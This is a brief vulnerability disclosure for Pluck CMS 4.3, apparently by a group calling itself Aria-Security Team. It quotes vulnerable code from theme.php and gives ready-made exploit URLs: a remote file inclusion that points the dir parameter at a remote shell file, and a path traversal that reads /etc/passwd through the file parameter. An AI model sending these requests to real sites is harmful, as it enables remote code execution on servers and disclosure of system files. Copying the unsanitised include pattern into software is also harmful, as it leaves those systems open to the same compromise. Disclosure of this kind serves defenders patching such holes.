Pluck 4.3 themes.php Remote File Inclusion and disclosure

Aria-Security Team

Pluck 4.3 Remote File Inclusion
Vendor: http://www.pluck-cms.org/

/path/data/inc/theme.php

if Register_global was set as ON then we can use the $dir variable for RFI

(is_file($dir."/".$file))
$files[]=$file;
else
$dirs[]=$dir."/".$file;
}
}
if($dirs) {

   foreach ($dirs as $dir) {
      include ("$dir/theme.php");

http://example.com/path/data/inc/theme.php?dir=http://site/shell.ext?

fputs($file, "<?php \$themepref = \"$cont\"; ?>");

if Register_global was set as ON then we can use the $file variable for disclosure.

example:
http://example.com/path/data/inc/theme.php?file=../../../../etc/passwd (DEPENDS on server)

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